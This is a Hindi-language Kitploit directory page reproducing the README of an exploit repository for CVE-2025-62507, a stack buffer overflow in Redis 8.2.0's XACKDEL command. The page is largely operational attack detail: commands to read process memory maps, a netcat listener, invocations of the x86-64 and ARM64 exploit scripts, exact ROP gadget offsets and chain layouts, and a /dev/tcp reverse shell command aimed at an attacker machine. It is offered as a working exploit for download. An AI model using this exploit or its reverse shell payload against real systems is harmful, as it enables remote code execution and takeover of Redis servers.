Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
redis-cve-2025-62507 — CVE-2025-62507 के लिए एक्सप्लॉइट स्क्रिप्ट, Redis 8.2.0 में एक स्टैक बफर ओवरफ्लो। x86-64 और ARM64 ROP चेन एक्सप्लॉइट प्रदान करता है, रिवर्स शेल के लिए शेलकोड जनरेशन के साथ, जिसमें GDB डिबगिंग सपोर्ट और Docker-आधारित कमजोर वातावरण शामिल है। | Kitploit
उपकरण/GitHubGitHub/gartonchan/redis-cve-2025-62507
कंटेनर सुरक्षाभेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगशेलकोडडीबगर्सलर्निंग और शिक्षापेलोड डेवलपमेंटबाइनरी शोषण

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHubgartonchan/redis-cve-2025-62507

redis-cve-2025-62507

CVE-2025-62507 के लिए एक्सप्लॉइट स्क्रिप्ट, Redis 8.2.0 में एक स्टैक बफर ओवरफ्लो। x86-64 और ARM64 ROP चेन एक्सप्लॉइट प्रदान करता है, रिवर्स शेल के लिए शेलकोड जनरेशन के साथ, जिसमें GDB डिबगिंग सपोर्ट और Docker-आधारित कमजोर वातावरण शामिल है।

रिपॉजिटरी देखें
153 महीने पहलेअभी तक समीक्षित नहीं

एक्सप्लॉइट स्क्रिप्ट्स — CVE-2025-62507

निर्देशिका संरचना

scripts/
├── exploit_x86.py          # x86-64 ROP एक्सप्लॉइट
├── exploit_arm64.py        # ARM64 (AArch64) ROP एक्सप्लॉइट
└── gdb_with_symbols.sh     # GDB डीबग सहायक स्क्रिप्ट

कमजोरी सारांश

आइटमविवरण
CVECVE-2025-62507
कमजोरी प्रकारस्टैक बफर ओवरफ्लो (Stack Buffer Overflow)
प्रभावित घटकRedis 8.2.0 xackdelCommand फ़ंक्शन
ट्रिगर विधिXACKDEL कमांड 52 से अधिक streamID के साथ
शोषण तकनीकROP श्रृंखला → mprotect द्वारा स्टैक निष्पादन अनलॉक → रिवर्स शेल के लिए शेलकोड
निर्भरताPython 3 (केवल मानक लाइब्रेरी, कोई अतिरिक्त स्थापना आवश्यक नहीं)

पूर्वापेक्षाएँ

  1. लक्ष्य वातावरण: Redis 8.2.0 (कमजोर संस्करण) चलाने वाला Docker कंटेनर या होस्ट
  2. श्रवण टर्मिनल: हमलावर मशीन को पहले nc -lvnp 4444 शुरू करना होगा ताकि रिवर्स शेल का इंतज़ार किया जा सके
  3. पता प्राप्त करने की अनुमति: लक्ष्य प्रक्रिया के /proc/<PID>/maps को पढ़ने में सक्षम होना चाहिए (रूट अनुमति)
  4. Python 3: दोनों एक्सप्लॉइट स्क्रिप्ट केवल मानक लाइब्रेरी (socket, struct, time, sys) का उपयोग करती हैं

त्वरित आरंभ

1. कमजोर Redis कंटेनर प्रारंभ करें

# प्रोजेक्ट रूट डायरेक्टरी में निष्पादित करें
docker compose -f docker-compose-vulnerable.yml up -d

# कंटेनर चल रहा है इसकी पुष्टि करें
docker ps | grep redis-cve-2025-62507

2. महत्वपूर्ण मेमोरी पते प्राप्त करें

REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')

# x86-64 पता प्राप्ति
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)

echo "REDIS_BASE=$REDIS_BASE  LIBC_BASE=$LIBC_BASE  STACK_ADDR=$STACK_ADDR"

नोट: हर बार कंटेनर पुनः प्रारंभ होने पर पते बदल जाते हैं (ASLR), इन्हें दोबारा प्राप्त करना होगा।

3. रिवर्स शेल श्रवण प्रारंभ करें

# होस्ट पर एक अलग टर्मिनल खोलें
nc -lvnp 4444

4. एक्सप्लॉइट चलाएँ

# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR

# ARM64 (Docker QEMU निश्चित पता, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]

exploit_x86.py — x86-64 ROP एक्सप्लॉइट

उपयोग

python3 scripts/exploit_x86.py <redis_base> <libc_base> <stack_addr>

पैरामीटर विवरण

पैरामीटरअर्थप्राप्ति विधिउदाहरण मान
redis_baseredis-server ELF बेस पता/proc/PID/maps में redis-server के पहले सेगमेंट का प्रारंभिक पता0x555555554000
libc_baselibc.so.6 बेस पता/proc/PID/maps में libc.so के पहले सेगमेंट का प्रारंभिक पता0x7ffff75b3000
stack_addrथ्रेड स्टैक सेगमेंट प्रारंभिक पता/proc/PID/maps में [stack] सेगमेंट का प्रारंभिक पता0x7ffffffde000

ROP श्रृंखला आर्किटेक्चर

52 भरण ID (1-1)
  │
  ▼
ID#53  ओवरफ़्लो ──→ pop rdi; ret     (redis + 0x82327)
ID#54             ──→ pop rsi; ret     (redis + 0x86416)
ID#55             ──→ pop rdx; ret     (redis + 0xba1e2)
ID#56             ──→ mprotect()       (libc  + 0x1019e0)
ID#57             ──→ call rsp         (redis + 0x9486d)
ID#58+            ──→ शेलकोड ──→ system("/bin/bash -c '...'")

गैजेट ऑफ़सेट (redis-server-8.2.0)

गैजेटऑफ़सेटविवरण
pop rdi; ret0x82327mprotect का पहला पैरामीटर (addr) सेट करता है
pop rsi; ret0x86416mprotect का दूसरा पैरामीटर (len) सेट करता है
pop rdx; ret0xba1e2mprotect का तीसरा पैरामीटर (prot) सेट करता है
call rsp0x9486dस्टैक पर शेलकोड पर कूदता है
mprotect (libc)0x1019e0स्टैक पेज को RWX के रूप में अनलॉक करता है
system (libc)0x4c490रिवर्स शेल कमांड निष्पादित करता है

कस्टम रिवर्स शेल पता

reverse_shell_cmd वेरिएबल स्क्रिप्ट की पंक्ति 149 पर परिभाषित है, डिफ़ॉल्ट मान इस प्रकार है:

reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"

संशोधन विधि: exploit_x86.py संपादित करें, reverse_shell_cmd पंक्ति ढूँढें, IP और पोर्ट बदलें:

परिदृश्यIPविवरण
Docker host नेटवर्क (डिफ़ॉल्ट)127.0.0.1कंटेनर और होस्ट एक ही नेटवर्क स्टैक साझा करते हैं, 127.0.0.1 होस्ट है
Docker bridge नेटवर्क172.17.0.1डिफ़ॉल्ट ब्रिज गेटवे, होस्ट की ओर इंगित करता है
रिमोट अटैक<हमलावर मशीन का सार्वजनिक IP>लक्ष्य को हमलावर मशीन के संबंधित पोर्ट तक रूट करने में सक्षम होना चाहिए

पोर्ट संशोधन: /dev/tcp/<IP>/4444 में 4444 को वास्तविक श्रवण पोर्ट से बदलें।

stack_page की गणना stack_addr पैरामीटर के आधार पर गतिशील रूप से की जाती है: (stack_addr + 0x1000) & ~0xFFF, यह सुनिश्चित करता है कि mprotect विंडो शेलकोड वाले स्टैक क्षेत्र को कवर करे। यदि स्टैक लेआउट असामान्य है, तो समायोजन आवश्यक हो सकता है।


exploit_arm64.py — ARM64 ROP एक्सप्लॉइट

उपयोग

python3 scripts/exploit_arm64.py <redis_base> <libc_base> <stack_addr> [rev_host] [rev_port] [target]

पैरामीटर विवरण

पैरामीटरअर्थप्राप्ति विधिउदाहरण मान
redis_baseredis-server-8.2.0-arm64 ELF बेस पता/proc/PID/maps में redis-server के पहले सेगमेंट का प्रारंभिक पता0xaaaaaaaa0000
libc_baselibc.so.6-arm64 बेस पता/proc/PID/maps में libc.so के पहले सेगमेंट का प्रारंभिक पता0xfffff7630000
stack_addrxackdelCommand प्रवेश बिंदु पर SP का मान (GDB विश्लेषण से)GDB ब्रेकपॉइंट पर xackdelCommand प्रवेश SP का निरीक्षण करें0xfffffffff7e0
rev_host(वैकल्पिक) रिवर्स शेल हमलावर मशीन IP—192.168.1.1
rev_port(वैकल्पिक) रिवर्स शेल श्रवण पोर्ट—4444
target(वैकल्पिक) लक्ष्य Redis IP—192.168.1.129

ARM64 नोट: stack_addr xackdelCommand प्रवेश के समय SP का मान है ([stack] सेगमेंट का प्रारंभिक पता नहीं!)। static_ids[0] = stack_addr - 0x310, call() का सेव किया गया x30 stack_addr + 8 पर है (अर्थात static_ids[49].seq)।

ROP श्रृंखला आर्किटेक्चर

49 भरण ID (1-1)
  │
  ▼
ID#49-58  call() समाप्ति फ्रेम (10 IDs) — call() के सेव किए गए रजिस्टरों और स्थानीय चर को ओवरराइट करता है
  │  #49: सेव किया गया x29 (डमी) + x30 (G5)
  │  #50: सेव किया गया x19/x20, #51: सेव किया गया x21(=0)/x22
  │  #52: x23/x24, #53: x25/x26, #54: x27/x28
  │  #55-58: स्थानीय चर (0 पर सेट)
  │
  ▼  call() ret → SP = stack_addr + 0xa0
  │
ID#59-61  चरण 1: G5              (redis + 0x1a4d40)  x0=लेखन योग्य,   → G_SET_X2_7
ID#62-65  चरण 2: G_SET_X2_7      (redis + 0x1d7a84)  w2=7,           → LDR_X1_SIDELOAD
ID#66-67  चरण 3: LDR_X1_SIDELOAD (libc  + 0x34ab4)   x1=0x1000,      → G5
ID#68-70  चरण 4: G5              (redis + 0x1a4d40)  x19=mprotect,   → MOV_X3_X19
ID#71-93  चरण 5: MOV_X3_X19      (redis + 0x2948b0)  x3=mprotect,    → LDR_X0_CLEAN
ID#94-95  चरण 6: LDR_X0_CLEAN    (libc  + 0x6ae40)   x0=stack_page,  → BLR_X3
ID#96-98  चरण 7: BLR_X3          (redis + 0x92bc4)   call mprotect   → शेलकोड
ID#99+    शेलकोड — system("/bin/bash -c 'reverse_shell_cmd'")

महत्वपूर्ण: call() का एपिलॉग ret से पहले स्टैक से x19-x28 को पुनर्स्थापित करता है और कई स्थानीय चर पढ़ता है। ID#49-58 को सुरक्षित मानों से भरना चाहिए, अन्यथा एपिलॉग निष्पादन के दौरान क्रैश हो जाएगा। ROP श्रृंखला ID#59 (call() ret के बाद SP स्थान) से शुरू होती है।

गैजेट ऑफ़सेट (redis-server-8.2.0-arm64)

गैजेटऑफ़सेटकार्यस्टैक खपत
G5 (ldp x19,x20 + ldr x0)0x1a4d40स्टैक से x19, x0 लोड करता है0x30 (3 IDs)
G_SET_X2_70x1d7a84w2=7, w1=-1 सेट करता है (साइड इफ़ेक्ट)0x40 (4 IDs)
MOV_X3_X190x2948b0x3 = x19 (mprotect), x0 को ओवरराइट करता है0x170 (23 IDs)
BLR_X30x92bc4blr x3; mprotect कॉल करता है0x30 (3 IDs)

गैजेट ऑफ़सेट (libc.so.6-arm64, Docker कंटेनर के अंदर)

टूल डाउनलोड करें